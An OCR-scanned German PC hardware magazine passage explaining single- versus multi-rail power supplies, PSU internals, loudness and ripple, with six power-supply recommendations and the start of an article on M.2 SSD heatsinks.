Problem: Single- oder Multi-Rail? 
Um diese Gretchenfrage beantwor- 
ten zu können, vergleichen wir erst 
einmal beide Konfigurationen und 
klären, was eine „Rail“ überhaupt 
ist. 


In einem Multi-Rail-Netzteil wer- 
den die einzelnen Leiterbahnen - 
zum Beispiel die 12-Volt-Schienen 
- durch einen Überstromschutz 
separat überwacht. Sobald solch 
eine Rail beispielsweise 25 Ampere 
erreicht, schaltet sich das Netzteil 
dank der OCP-Schaltung ab und 
schützt dadurch die PC-Kompo- 
nenten. In einem Single-Rail-Gerät 
wird dagegen nicht jede Leiter- 
bahn separat überwacht, sondern 
die gesamten stromspendenden 
Leitungen als Einheit und manch- 
mal ist eine Überstromschutzschal- 
tung sogar ganz abwesend. Hier ist 
der Wert zum Auslösen der OCP 
natürlich durch den vergrößerten 
Verbraucher höher als noch im 
Multi-Rail-Design. Es ist nichts Un- 
gewöhnliches, dass der notwendi- 
ge Wert so groß ist, dass Bauteile 
oder Kabel vorher versagen und 
gar verschmoren. 


Wenn es dagegen zu einem Kurz- 


schluss im Rechner kommt, dann 
greift der Kurzschlussschutz nicht 
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unbedingt. Diese Schutzschaltung 
funktioniert nämlich nur, wenn 
der Widerstand bei 0,1 Ohm oder 
geringer liegt. In der Praxis greift 
der SCP deswegen auch nur bei 
direkten Kurzschlüssen, wenn sich 
also zum Beispiel zwei Kabel be- 
rühren. Kommt es aber zu einem 
Kurzschluss auf einer Leiterplatte 
oder innerhalb eines Bauteils, ist 
der gemessene Widerstand meist 
zu groß, um die Schutzschaltung 
zu aktivieren - das Netzteil schaltet 
sich nicht ab. 


Kommt es nun in einem Single- 
Rail-Netzteil zu einem Kurzschluss, 
steigt der Strom auf der 12-Volt- 
Leiterbahn und dem entsprechen- 
den 12-Volt-Kabel enorm an, bis die 
Schwelle zum Auslösen des Über- 
stromschutzes erreicht wurde. Wie 
bereits erwähnt, ist der Wert für 
alle Leiterbahnen in einem Single- 
Rail-Gerät so hoch, dass es bei 
leistungsstarken Einheiten auch 
zu einem Brand kommen kann. In 
einem Multi-Rail-Gerät liegt der 
Schwellenwert durch die Auftei- 
lung in mehrere Schienen deutlich 
geringer, sodass die OCP weit vor 
der Belastungsgrenze des Kabels 
greift. 


Bis 550 Watt können Single-Rail- 
Netzteile problemlos verwendet 
werden, da hier der Überstrom- 
schutz bei ungefähr 40 A greift 
und das System schützt. Bei ener- 
giehungrigeren Systemen, spätes- 
tens ab 1.000 W Leistung, sollte aus 
Sicherheitsgründen besser auf ein 
Multi-Rail-Gerät gesetzt werden. 
Der Unterschied zwischen beiden 
Designs liegt hauptsächlich in der 
Produktion, da Single-Rail-Geräte 
günstiger herzustellen und einfa- 
cher zu designen sind. Davon ab- 
gesehen gibt es keine messbaren 
Vorteile für den Konsumenten: 
keine besseren Übertaktungseigen- 
schaften, keine bessere Filterung 
der Restwelligkeit, keine bessere 
Spannungsregulation. 


I Single-Rail-Netzteile können bis 
550 W ohne Bedenken genom- 
men werden. 

I Multi-Rail-Geräte liefern zusätzli- 
chen Schutz und sind ab 1.000 W 
ein Muss. 

H Es gibt keine messbaren Vorteile 
durch eine Single-Rail. Mit einem 
Multi-Rail lässt es sich genauso gut 
übertakten. 


Wie kann man sich Single- und 
Multi-Rail-Netzteile vorstellen? 


Unsere Schaltbilder zeigen Ihnen, wie die 12V-Leitungen in modernen 
Netzteilen implementiert sind und worin sich die Designs unterscheiden. 


Multi-Rail-Netzteil 


Spannungsquelle 


$+ 3,3 Volt t 


* +12Volt : 
I l : mit4 getrennten Sicherungen 


Anschlüsse 2 Anschlüsse 3 Anschlüsse 4 


oderne Multi-Rails nutzen eine einzelne +12-Volt-Spannungsquelle. Die Gesamt- 
eistung wird über mehrere Sicherungen auf einzelne Stecker verteilt. Auf jeder der 
so gesicherten Leitungen wacht der Überstromschutz über die Belastbarkeit. 


За 


Single-Rail-Netzteil 


Spannungsquelle 


-| <— Sicherungen —> | 


U : 433 Volt : +5 Volt È + 12 Volt 


Bei Single-Rail-Netzteilen wird auf die getrennte Absicherung einzelner 
+12-Volt-Schienen verzichtet. Einige Hersteller verzichten zudem komplett oder 
nur auf der +12-Volt-Schiene auf die Integration des Überstromschutzes. 


Bereits einfache Sicherungschips wie der GR8313 (gelb markiert) stellen OVP, UVP 
und SCP zur Verfügung. 
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So ist ein Netzteil aufgebaut 
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etzteile sollten unter keinen 

Umständen geöffnet werden 
- es droht Lebensgefahr. Damit Sie 
trotzdem wissen, wie das Innenle- 
ben in einem Spannungswandler 
aussieht und wie aus 230-Volt- 
Wechselstrom 12-Volt-Gleichstrom 
werden, haben wir ein Gerät in sei- 
ne Einzelteile zerlegt. 


01 Die Primärseite: Direkt hinter 
dem Kaltgerätestecker sitzen Filter- 
kondensatoren, die in der Lage sind, 
elektromagnetische Interferenzen 
(EMI oder auch RFI) herausszufil- 
tern. Diese Entstörkondensatoren 
werden je nach Anforderungs- 
profil in Klasse-X- oder Klasse-Y- 
Kondensatoren (rechts im Bild die 
blauen eingeschweißten Bauteile) 
aufgeteilt und sollen Stórimpulse 
oder Überspannungsspitzen vom 
Netzteil fernhalten. Einerseits soll 
so eine Beschádigung der Baugrup- 
pen im Netzteil vermieden werden, 
andererseits soll aber auch verhin- 
dert werden, dass andere Geräte 
durch die Hochfrequenztechnik im 
Schaltnetzteil gestórt werden oder 
Schaden nehmen kónnen. 


Der nun gefilterte Wechselstrom 
wird mithilfe von Halbleiterdioden 
(sogenannte Gleichrichter) und 
dem Leistungsfaktorkorrekturfilter 
(PFC) in Gleichspannung von übli- 
cherweise 300 bis 400 Volt umge- 
wandelt. Mittels PFC lassen sich so 
passiv (bis maximal 300 Watt) oder 
aktiv durch eine elektronische 
Schaltung ` Übertragungsverluste 
von elektrischem Strom vermei- 
den. Idealerweise nähert sich die- 
ser Faktor dem Wert 1 an - in Netz- 
teilen beträgt er meist zwischen 
0,95 und 0,98. Anschließend glättet 
ein Primärkondensator die Misch- 
spannung, d. h., der Anteil von 
Gleichspannung wird erhöht - die 
Restwelligkeit wird so vermindert. 


Eine Vielzahl an Schalttransistoren 
stückeln dann den frisch erzeugten 
Gleichstrom in einen gepulsten 
Strom für die Primärwicklung des 
Transformators. Hier endet die 
Hochspannungs-Primärseite des 
Netzteils. 


02 Die Sekundärseite: Über die 
Sekundärwicklung des bereits er- 


wähnten Transformators werden 
schließlich die für Computer ty- 
pischen und niedrigen Spannun- 
gen erzeugt. Der immer noch mit 
dem Takt der Primärseite gepulste 
Strom wird über Kondensatoren 
und Spulen zu einer sauberen 
Gleichspannung geglättet. Bei 
günstigen Netzteilen wird diese 
Methode nicht nur für die 12 Volt 
verwendet, sondern es werden 
auch die weniger stark genutzten 
3,3- und 5-Volt-Leitungen direkt 
über weitere Sekundärwicklungen 
im gleichen Transformator erzeugt. 


Der Aufbau des Transformators 
gibt bei diesen gruppenregulierten 
Netzteilen das Leistungsverhältnis 
von 3,3, 5 und 12 Volt vor, geregelt 
wird die Leistung gemeinsam über 
den Eingangsstrom. So kann es pas- 
sieren, dass einseitige Belastungen 
bestimmter Leitungen nicht kom- 
pensiert werden können, sondern 
die Effizienz und vor allem auch 
die Spannungsstabilität abnehmen. 
Moderne DC-DC-Layouts beschrän- 
ken sich daher auf die Transfor- 
mation von 12 Volt und erzeugen 
daraus mit Abwärtswandlern, wie 
sie von allen modernen Grafikkar- 
ten und Mainboards bekannt sind, 
auch 3,3 und 5 Volt. 


03 Die Kühlung: Ein Teil der aufge- 
nommenen elektrischen Energie 
geht in Netzteilen als Abwärme 
verloren. Selbst mit hocheffizien- 
ten Netzteilen müssen bei High- 
End-Systemen schnell mal einige 
Dutzend Watt Wärme abgeführt 
werden. Die kritischsten Bauteile 
sind hier die Schalttransistoren, die 
große Ströme auf kleinstem Raum 
bewältigen müssen. Hier sind 
zwingend Kühlkörper erforderlich, 
während anderen Bauteilen meist 
ihre eigene Oberfläche zur Wärme- 
abgabe reicht. 


Insbesondere die Lebensdauer von 
Elektrolyt-Kondensatoren wird un- 
ter der Wirkung hoher Temperatu- 
ren stark in Mitleidenschaft gezo- 
gen. Grund dafür ist die RGT-Regel 
(van-'t-Hoff sche Regel), die besagt, 
dass bei einem Temperaturanstieg 
von zehn Grad chemische Reaktio- 
nen doppelt bis dreimal so schnell 
ablaufen. Deswegen kommen in 
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„ Trafo”: Der gelbe Zylinder in der Mitte ist von einem Ferritkern umgeben und beher- 
bergt mehrere Kupferdrahtspulen, die aus 230 V computertaugliche 12 V machen. 


Fest am Kühlgerippe verschraubt, kann man die MOSFETs (Metall-Oxid-Halbleiter- 
Feldeffekttransitoren) ausmachen. Erfunden wurden die Bauteile 1926 von Lilienfeld. 


Lautheit oder Lautstärke? 


den meisten Netzteilen Lüfter zum 
Einsatz, die nicht nur die Haupt- 
wärmequellen kühlen, sondern 
auch einen Wärmestau im Umfeld 
zahlreicher anderer Komponenten 
verhindern sollen. Lüfterlose Netz- 
teile benötigen hier wesentlich 
größere Kühlkörper und setzen 
zusätzlich auf überdimensionier- 
te und hitzeresistente elektrische 
Bauteile, die bei aktiver Kühlung 
für eine vielfach stärkere Nennleis- 
tung reichen würden. 


04 Die Tochterplatine: Oberklasse- 
netzteile verfügen meist über ein 
modulares Kabelsystem, bei dem 
sich einige oder alle Kabel abneh- 
men lassen. Die entsprechenden 
Stecker sitzen seitlich im Netzteil 
auf einer vom eigentlichen Schalt- 
netzteil getrennten Platine. Oft 
trägt diese auch weitere Filter- 
Kondensatoren zur Spannungsglät- 
tung. Einige Hersteller platzieren 
gar die gesamte Abwärtswandlung 
für 5 V und 3,3 V an dieser Stelle. 
Das vereinfacht die primäre Plati- 
ne zu einem reinen 12-V-Netzteil, 
erschwert aber die Kühlung der 
Leistungstransistoren in den Ab- 
wärtswandlern. 


05 Der Transformator: Transforma- 
toren bestehen aus zwei magne- 
tisch gekoppelten Drahtspulen. 
Der Eingangsstrom baut in einer 
eng gewickelten Primärspule auf 


der Hochspannungsseite einen 
magnetischen Fluss auf, der in der 
sekundären Spule mit weniger 
Wicklungen einen Sekundärstrom 
induziert, dessen Spannung ent- 
sprechend der Wicklungsunter- 


schiede geringer ausfällt. 


Da ein magnetischer Fluss sich än- 
dernde Magnetfelder voraussetzt, 
können Transformatoren nur mit 
Wechsel- oder gepulstem Strom 
arbeiten und umso kleiner ausfal- 
len, je höher die Schaltfrequenz 
ist. Dank des selbst erzeugten, 
mit mehreren 100 kHz gepulsten 
Stroms können Schaltnetzteile 
deutlich kompakter ausfallen als 
einfachere Transformatoren mit 50 
Hz Netzfrequenz. 


Steuerung und Überwachung: Um 
ein Ansteigen der Spannung bei 
niedrigen Lasten und ein Abfallen 
bei hohen Lasten zu vermeiden, 
muss nachgeregelt werden. Dies 
wird mittels Überwachungschips 
bewerkstelligt, welche die Schalt- 
vorgänge permanent dem Bedarf 
anpassen. Der Stromfluss auf den 
unterschiedlichen — 12-Volt-Schie- 
nen kommt in modernen Netztei- 
len aus dem gleichen Transforma- 
tor, wird aber getrennt überwacht. 
So kónnen defekte Komponenten 
schneller abgeschaltet werden und 
eine zusätzliche Lage Sicherheit 
wird bereitgestellt. 


Hauptsache leise. 


Lautheitsmessergebnisse von 550 W Netzteilen 
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Last in Prozent 


System: Labornetzteil, digitaler Schallanalysator NC 10, Messung aus 50 cm Entfernung Bemerkungen: 
Das Revolution Xt II (grün) bleibt selbst bei Volllast unter 0,5 Sone. Das Cougar (schwarz) ist im unteren und 
mittleren Lastbereich ruhig. Der Graph des Corsair (gelb) zeigt keine optimale Lüfterkurvenanpassung. 
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chall ist physikalisch gesehen 
Sc als Welle fortschreitende 
mechanische Deformation eines 
Mediums - gut sichtbar an der sich 
bewegenden Membran eines Laut- 
sprechers. Diese Schallwellen wer- 
den im Gehór als physikalischer 
Reiz wahrgenommen und dann im 
Gehirn verarbeitet. 


Überwiegend kommt aber bei 
Akustikmessungen der sogenannte 
bewertete Schalldruckpegel zum 
Einsatz, der leider keine Aussage 
über das Schallempfinden beim 
Menschen zulässt. Die menschliche 
Wahrnehmung von Audiosignalen 
setzt sich aus einer Vielzahl wei- 
terer Parameter zusammen, zum 
Beispiel Frequenz oder Schärfe. 
Aus diesem Grund wird bei PCGH 


die Lautheit gemessen, weil so die 
subjektive Wahrnehmung besser 
ermittelt werden kann. 


Wenn Sie auf einen komplett stil- 
len PC angewiesen sind, empfiehlt 
sich ein passiv gekühltes Netzteil. 
Achten Sie hier auf hochwertige 
verbaute Einzelteile, da diese die 
elektrischen Eigengeräusche am 
besten minimieren. Ein besonderes 
Augenmerk sollten Sie bei aktiv ge- 
kühlten Spannungswandlern unbe- 
dingt auf die Lüfterkurve richten. 
Diese sollte im besten Fall anpass- 
bar sein und im schlechtesten Fall 
ab Werk passabel eingestellt wor- 
den sein. Bedenken Sie auch die 
Entfernung zum PC, da die Lautheit 
im Quadrat von der Schallquelle 
abnimmt. 
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Gut zu wissen: Stützzeit, Restwelligkeit & Co. 


Die Stützzeit 

Auch als Hold-up-Time oder Über- 
brückungszeit bekannt, gibt die 
Stützzeit an, wie lange es einem 
Netzteil möglich ist, die PC-Kom- 
ponenten noch mit gleichmäßiger 
elektrischer Spannung zu versor- 
gen, sobald kein Wechselstrom 
mehr anliegt. 


Dank der verbauten hochkapaziti- 
ven Kondensatoren auf der Hoch- 
spannungs- beziehungsweise Pri- 
märseite in ATX-Netzteilen liegt die 
Stützzeit bei mehreren Millisekun- 
den. Damit sollen Unregelmäßig- 
keiten aus dem lokalen Energienetz 
aufgefangen werden. Obwohl wir in 
Deutschland und Westeuropa eins 
der stabilsten Netze haben, kommt 
es trotzdem zu Schwankungen. 
Im ATX-Standard gibt Intel für ein 
115-Volt-Stromnetz 16 Millisekunden 
an, sodass zum Beispiel die Akkus 
bei unterbrechungsfreien Stromver- 
sorgungen anspringen können. 


Restwelligkeit — Überbleib- 
sel aus dem Wechselstrom 

Computerkomponenten und die 
meisten elektrischen Geräte im 
Haushalt benötigen Gleichstrom - 
aus der Steckdose kommt jedoch 
seit über 120 Jahren Wechselstrom. 
Durch eine Diode wird der Strom 
gleichgerichtet, aber dennoch 
bleibt ein gewisser Restanteil 
übrig. Diese Mischspannung ist 
problematisch, da sie im Fregenz- 
bereich der menschlichen visuel- 
len und auditiven Wahrnehmung 
liegt und somit in Radios oder 
Fernseher omnipräsent wäre. Bei 
Mikroprozessoren wird ein noch 
größeres Problem sichtbar: Die 
Restwelligkeit kann Daten beschä- 
digen. Um dies zu vermeiden, wer- 
den hochwertige Kondensatoren 
auf der Primärseite eingesetzt, die 
als Stromreservoir dienen und so 
den Strom „glätten“. Man kann sich 
die Arbeit der Kondensatoren in 
etwa wie eine Buckelpiste vorstel- 


len, die durch eine Planierraupe 
eben gemacht wird. 


DC-DC-Technik 

In modernen Netzteilen kommt die 
DC-DC-Technik zum Einsatz, die 
erhebliche Vorteile in der Effizienz 
darstellt. Anders als bei Netzteilen 
ohne DC-DC-Technik werden nicht 
alle üblichen Spannungen (12 V, 
3,3 V,5 V) von einem Quelltransfor- 
mator generiert, sondern nur die 
12-Volt-Spannung. Mit Spannungs- 
wandlern kann dann eine beliebige 
Spannung bereitgestellt werden. 
Neben dem erhöhten Wirkungs- 
grad kann man so die Spannungs- 
stabilität erhöhen. 


Um die Spannungen zu regulieren, 
wurde bisher im Transformator 
der Strom erhöht oder gesenkt. 
Dadurch hat man aber immer di- 
rekt alle Spannungen im Netzteil 
beeinflusst, da ja alle von einem 
Quelltransformator generiert wur- 


den. Die neue Technik erlaubt bei 
einer getrennten Regelung eine 
separate Anpassung ohne direk- 
ten Einfluss auf andere Leitungen. 
Hinzu kommt, dass so den Haupt- 
verbrauchern in einem Computer 
ein höheres Leistungsvolumen auf 
der 12-Volt-Schiene bereitgestellt 
wird. 


Abschließende Bemerkung 

Jetzt sollten Sie für den Netzteil- 
markt gewappnet sein und sich ei- 
nen Spannungswandler Ihrer Wahl 
aussuchen können. Wer doch lie- 
ber konkrete Produkte zur Orien- 
tierung an die Hand haben möchte, 
findet auf den folgenden Seiten 
sechs Netzteil-Empfehlungen. Ob 
Budget (und trotzdem gut), im 
SFX-Format für Kleinstrechner, to- 
tenstill als passivgekühltes Netzteil 
oder doch ein Bolide mit Wechsel- 
möglichkeit zwischen Single- und 
Multi-Rail-Design: Für jeden sollte 
etwas dabei sein. (ab) 


ANZEIGE 
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Für den kleinen Hunger: Silentstorm SFX 


Bei manchen Rechnern ist ein normales ATX-Netzteil schon zu groß. Mit Sharkoons Silent- 
storm SFX haben Sie einen Powerzwerg für Ihren PC an der Hand. 


Wer einen Kleinstrechner zusammenbauen möchte, wird um ein SFX-Formfaktor-Netzteil nicht herum- 
kommen. Das Sharkoon Silentstorm SFX hat eine 80-Plus-Zertifizierung für Gold bekommen und ein 
120-Milimeter großer Lüfter sorgt mit 950 bis 1.600 Umdrehungen pro Minute für reichlich Frischluft 
zwischen den dicht gedrängten Baugruppen. In der Praxis resultiert das in einer Lautheit zwischen 

0,6 und 2,5 Sone, sodass sich der Winzling nicht unbedingt für Silent-Systeme eignet. Dank 480 

Watt 12-Volt-Leistung können auch potente Grafikkarten versorgt werden. Durch ein vollmodulares 
Kabelmanagement gestaltet sich der Einbau im SFX-Gehäuse besonders leicht und für andere Einsätze 
liegt ein Adapter bei. 


Mit genügend Anschlüssen für SATA und PATA sowie einer wohldimensionierten Kabellänge rundet 
Sharkoon die ausgewogene Kabelausstattung mit mehreren PCI-Steckern ab und wappnet so das 
Netzteil auch für moderne Grafikkarten. Mit 80 Euro für 480 Watt ist der Spannungswandler kein 
Schnäppchen, aber in der Watt-, Effizienz- und vor allem Größenklasse ein absolut vertretbares 
Preis-Leistungs-Verhältnis. 


Flüsterleises Multimedia und Gaming 


Wer keine Abwärme produziert, muss auch keine abführen. Nicht zuletzt dank seiner 
hohen Effizienz geht das vollmodulare Netzteil von Bitfenix sehr leise zu Werke. 


Bitfenix ist eher für stylishe Computer-Gehäuse denn für Netzteile bekannt. Für ihren , flüsterleisen" 
Energielieferanten greifen die Taiwaner deswegen auf Channel Well Technology (CWT) als erfahrenen 
Hersteller von Spannungswandlern zurück. Das resultierende Produkt überzeugt im Test mit einer sehr 
guten Spannungsregulation, einer hervorragenden Unterdrückung der Restwelligkeit und einem groB- 
artigen Wirkungsgrad (93 Prozent bei 350 W). Verbaut sind ausschlieBlich hochwertige Kondensatoren 
und Baugruppen, was Bitfenix mit einer Garantie von sieben Jahren bekräftigt. 


Bitfenix teilt die verfügbare 12-V-Leistung auf drei angemessen dimensionierte Schienen auf, was eine 
feinfühlige Absicherung erlaubt. Hinzu kommen alle gángigen Schutzschaltungen und ein vollmodu- 
lares Kabelmanagement mit vielen Anschlussmóglichkeiten. Die Messwerte des hydrodynamischen 
Gleitlagerlüfters machen dem Namen des Netzteils alle Ehre, denn erst im Volllastszenario steigt 

die Lautheit von kaum hörbaren 0,1 Sone auf immer noch flüsterleise 0,5 Sone. Mit einem Endver- 
braucherpreis von 90 Euro ist das Whisper M also ein idealer Kandidat für Mittelklasse-Systeme, die 
effizient und leise betrieben werden sollen. 


Die dunkle Seite der Macht 


Be Quiet ist Marktführer in Sachen Netzteile in Deutschland. Mit dem starken Dark Power 
Pro 11 unterstreicht der Hersteller seine Position. 


Das Dark Power Pro 11 besitzt nicht nur eine üppige Ausstattung und glánzt mit einer hervorragenden 
Verarbeitung, sondern ist dazu noch angenehm leise — trotz aktiver Kühlung. Grund dafür sind 

die verbauten und hauseigenen Silent-Wings-Lüfter mit Flüssigkeitslager, die nicht nur exklusiv für 
etzteilansprüche konstruiert wurden, sondern im Test mit Drehzahlen von gerade einmal 300 bis 500 
pro Minute (bei 10 bis 100 Prozent Last) nie eine Lautheit über der 0,1-Sone-Marke erzeugen - trotz 
adáquater Warmlaufzeit. Zusätzlich zu den „stillen Flügeln“ kann der Spannungswandler noch vom 
PC-Geháuse durch gummierte Manschetten entkoppelt werden. 


Beim Wirkungsgrad liegt man hingegen gleichauf mit Platin-Netzteilen. Die Aufteilung der 12-Volt- 
Leitung im Gerát erfolgt in eine massive Single-Rail oder respektive vier 12-Volt-Schienen. Diese 
optionale Wechselmöglichkeit wurde beim Dark Power Pro 11 simpel per Knopfdruck realisiert und als 
Alleinstellungsmerkmal lassen sich über vier eigene Anschlüsse Gehäuselüfter anbringen. Für 135 Euro 
bekommt man den 550-Watt-Vertreter; wer mehr Leistung benótigt, kann in der Produktpalette seine 
Ansprüche bis 1.200 Watt (260 Euro) befriedigen. 
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Geldbeutel schonen mit Cougars GX-S 550 


Gute Leistung für wenig Geld: Das möchte jeder haben. Cougar befriedigt diese Mentali- 
tät und liefert Gold-Qualität zu einem angemessenen Preis. 


Für wenig Geld und mit einem hohen Wirkungsgrad überzeugt das GX-S 550 und stellt somit unsere 
Preis-Leistungs-Empfehlung dar. Obwohl sich Cougar eine 80-Plus-Gold-Zertifizierung für das europä- 
ische 230-Volt-Netz spart, erreicht man die dafür nötigen Werte in der Praxis knapp. Der Effizienz-Un- 
terschied zu vergleichbaren Netzteilen, welche mit offizieller Gold-Zertifizierung werben, beträgt meist 
nur ein bis zwei Prozent. Erst bei geringer Auslastung wird der Rückstand auf die teureren Produkte 
deutlich. Ähnliches gilt für die akzeptable Spannungsqualität, die klar hinter unseren ersten beiden 
Empfehlungen zurückbleibt. Bei den Schutzschaltungen spart Cougar: OCP, OPP und weitere Standards 
sind vorhanden, aber ausgerechnet der Temperaturschutz OTP fehlt trotz niedriger 40-°C-Vorgabe für 
die Umgebungstemperatur, was für Abzüge bei der Wertung sorgt. 


Bedenkt man den heute üblichen Netzteileinbau mit direktem Zugang zu kühler Außenluft am Gehäu- 
seboden, ist dies aber in Anbetracht des günstigen Preises verschmerzbar. Störender ist die gemessene 
Lautheit des Lüfters unter Volllast von maximal 2,6 Sone. Die 0,3 Sone im Alltag sind hingegen für 
viele Anwender kein Problem. 


Leistung für enthusiastische Spieler 


Wer multiple GPUs betreiben will, braucht Strom - viel Strom. Mit Platin-Effizienz, digi- 
taler Kontrolle und 1.000 Watt Leistung liefert Corsair ein Netzteil für Enthusiasten. 


Normalerweise sind PCs selbst bei maximaler Auslastung noch relativ genügsam und verbrauchen mit 
einer Grafikkarte zum Teil weniger als 400 W — zumindest moderne Komponenten. Wer hingegen zwei 
High-End-GPUs bis zum Anschlag übertaktet, einen 140-Watt-TDP-Prozessor sein Eigen nennt, der 
muss auch bei der Stromversorgung großzügig planen. Das Kilowatt-Modell der Corsair-HX-Baureihe 
wäre hierfür ein idealer Kandidat, denn es bietet neben der reinen elektrischen Leistung auch einiges 
an Raffinesse. So erlaubt eine USB-Schnittstelle das Auslesen von Leistungsaufnahmen, allen Span- 
nungswerten und der Lüfterdrehzahl. Letztere kann (in beschränktem Umfang) auch geregelt werden, 
jenseits von 60 Prozent Auslastung (600 W/0,1 Sone) wird ein 1.000-Watt-Netzteil aber unvermeidbar 
lauter (0,6 Sone bei 80 Prozent, 1,1 Sone maximal). Zudem können Experimentierfreunde den Über- 
stromschutz deaktivieren, standardmäßig ist das volle Schutzschaltungspaket aber aktiv. Kaufinteres- 
senten benötigen neben einer gefüllten Brieftasche aber auch Platz für ein 185 mm langes Netzteil im 
Rechner, dazu kommen noch die Stecker des vollmodularen Kabelsystems. Dafür verbraucht man trotz 
der Optimierung auf über 500 Watt (93 Prozent Effizienz) auch im Teillastbereich nicht übermäßig viel 
Strom (92 Prozent Effizienz bei 250 Watt). 


Stille dank passiver Kühlung 


Wer ein sehr leises System benötigt, kommt um einen passiven Spannungswandler kaum 
herum. Enermax’ Digifanless 550 W ist nicht nur stumm, sondern auch digital. 


Stille hat ihren Preis, mit 170 Euro lässt sich der taiwanische Hersteller Enermax dieses stumme Netzteil 
vergüten. In Kooperation mit dem OEM-Fertiger CWT konnten dafür die elektronischen Störgeräusche 
auf ein Minimum reduziert werden. Möglich ist so etwas nur durch den Einsatz von hochwertigen 
Baugruppen im Netzteil, sodass dieser Vertreter das 80-Plus-Zertifikat für Platinum-Geräte erringt. Hinzu 
kommt eine luxuriöse Ausstattung mit vollmodularem Kabelmanagement, großzügiger Kabelbestückung, 
erstklassiger Spannungsregulation sowie einwandfreier Restwelligkeitsunterdrückung. In Kombination 
mit der hochwertigen Technik erhöht die so verringerte Abwärme die Lebensdauer der Komponenten. 
Enermax unterstreicht das Vertrauen in das eigene Produkt mit fünf Jahren Garantie und Abwicklung 
über die deutsche Niederlassung. Wer zwischen Multi-Rail und Single-Rail umschalten möchte, kann das 
über die digitalen Eigenschaften des Geräts bewerkstelligen: „Mehr Sicherheit auf Knopfdruck” lautet 
das Motto. Voreingestellt ist der Single-Rail-Modus, Multi-Rail muss über die mitgelieferte Software 
aktiviert werden. Sinnvoller wäre es, die Verteilung der +12-Volt-Leistung auf zwei Schienen bei Bedarf 
abschalten zu lassen, im Normalfall aber auf Multi-Rail zu setzen. Die Schutzmechanismen des Digifan- 
less greifen aber auch im Single-Rail-Betrieb rechtzeitig ein. 
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Die kleinen PCI-Express-SSDs im kompakten 
ji nerden unter Last relativ warm 
Deswegen tauchen ers e M.2-Kühler auf dem 


M. 2-Riegelforma 


Markt auf. Aber was bringen sie wirklich? 


d 


lles im PC muss gekühlt wer- 

den. So lautet ein Dogma der 
Computerwelt. Daher wird so man- 
cher Tuning-Nerd nervös, wenn 
die internen Sensoren Temperatu- 
ren irgendwo über 30 Grad mel- 
den. Tatsächlich ist auch das Dop- 
pelte nicht ungewöhnlich oder gar 
kritisch - egal ob CPU oder GPU. 
Deswegen ist alles mit metallenem 
Kühlkörper verkleidet, was Wärme 
abgibt. Selbst unter den RAM-Rie- 
geln gibt es fast nur noch Modelle 
im Metallkleid, das vielmehr einen 
optischen als einen technischen 
Zweck haben dürfte. Kühler für 
Festplatten und SSDs im 2,5-Zoll- 
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Formfaktor gibt es zwar vereinzelt, 
nur ergeben sie hier noch weniger 
Sinn, da Festplatten ohnehin nicht 
sonderlich warm werden und das 
bisschen Kühlung auch die Leis- 
tung nicht beeinflusst. Anders ist 
das bei PCI-Express-SSDs. So man- 
ches Modell wird selbst im Leerlauf 
gerne bis zu 60 Grad warm. Unter 
konstanter Volllast steigt die Tem- 
peratur rapide an, sodass die Leis- 
tung thermisch bedingt gedrosselt 
wird. Das klingt nun dramatischer, 
als es ist. Denn erstens sind bis 
zum Leistungseinbruch bereits et- 
liche Gigabytes geschrieben oder 
gelesen und zweitens kommt ein 


derartiges Datenschaufeln in der 
Praxis kaum vor. Die Patriot Hellfi- 
re ist etwa so eine SSD, die ihrem 
Namen alle Ehre macht, indem sie 
in malträtierenden Benchmarks bis 
zu 95 Grad heiß wird. Andere Top- 
Modelle sind da effizienter: Das ak- 
tuelle Nonplusultra, eine Samsung 
SSD 960 Pro, ist mit 30 bis 40 Grad 
so warm wie ihre Umgebung. Un- 
ter Last klettert die Temperatur 
auf bis zu 71 Grad, was sie unter 
Dauerlast nach etwa zwei bis zwei- 
einhalb Minuten erreicht hat. Mit 
einer sequenziellen Schreibrate 
von ca. zwei Gigabyte die Sekun- 
de hat sie bis dahin mindestens 


320 GByte geschrieben, und selbst 
darüber hinaus ist die Leistung, die 
zwischen 1,6 GB/s und 1,8 GB/s 
schwankt, noch immer relativ 
hoch. Also weitaus besser als ande- 
re PCI-Express-Modelle unterhalb 
ihrer Drosselgrenze. In der Praxis 
dürfte die kaum erreicht werden, 
weswegen ein Kühlkörper für den 
Nutzer nicht zu spüren sein dürfte. 
Die Auswirkungen der Kühlkörper 
interessieren uns dennoch, weswe- 
gen wir die damit ausgestatteten 
SSDs nicht nur künstlich an das 
Leistungslimit hieven, sondern sie 
auch praktische Szenarien durch- 
laufen lassen. 
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Die M.2-Kühlproben 

Der Grund, warum M.2-Modelle 
keine Kühlkörper auf den Chips sit- 
zen haben, ist nicht etwa der eben 
skizzierte geringe Praxisnutzen, 
sondern die Spezifikation, die nur 
3 mm dicke Module erlaubt. Das 
ist etwa für Notebooks relevant, 
die mit dem wenigen Platz haus- 
halten müssen. Für Desktop-PCs ist 
das eher egal, sodass sich ein PC- 
Tuner hier umso mehr austoben 
kann. Unsere drei Stichproben sind 
prinzipiell unterschiedlich: Der 
M.2-Shield ist eine Dreingabe zum 
MSI-Mainboard und lediglich ein 
kleines Blech mit einem dünnen 
Wärmeleitpad an der Unterseite. 


Der KryoM.2 micro von Aqua Com- 
puter ist ebenfalls ein passiver 
Kühlkörper, mit den Rippen aber 
etwas dicker und dürfte dement- 
sprechend auch ein wenig effek- 
tiver kühlen. Auch er wird mit ei- 
nem Pad auf die SSD geklebt und 
außerdem mittels zweier Klam- 
mern fixiert. Leider ist er wegen 
der Befestigung auf einseitig be- 
stückte M.2-Module beschränkt, 
die maximal 2,3 mm dick sind. 
Bei unserer Corsair-SSD konnten 
wir den KryoM.2 micro daher nur 
aufkleben, sodass er mit weniger 
Druck aufliegt. Mit 10 Euro ist der 
Passivkühler nicht gerade teuer. 
Wenngleich auch eine Selbstbastel- 
lösung mit einfachen Chipkühlern 
günstiger wäre und ähnlichen Ef- 
fekt haben dürfte. 


Der KryoM.2 evo ist im Prinzip ein 
Steckkartenadapter für den PCI- 
Express-Slot und bietet daher am 
meisten Platz für Kühlvolumen. 
Schon die Dimensionen verraten, 
dass es sich hier um die effektivste 
Variante der Kühlung handelt. Wie 
bei einem sogenannten HHHL- 
Adapter wird die M.2-SSD auf die 
Platine geschraubt. Aber hier wer- 
den, wieder mit Wärmeleitpads da- 
zwischen, Aluminium-Körper auf 
Ober- und Unterseite verschraubt. 
Da es sich um eine Steckkarte han- 
delt, ist der KryoM.2 evo auch für 
Mainboards geeignet, die nicht 
über einen eigenen M.2-Slot ver- 
fügen. Oder solche, bei denen der 
Slot direkt unter der Grafikkarte 
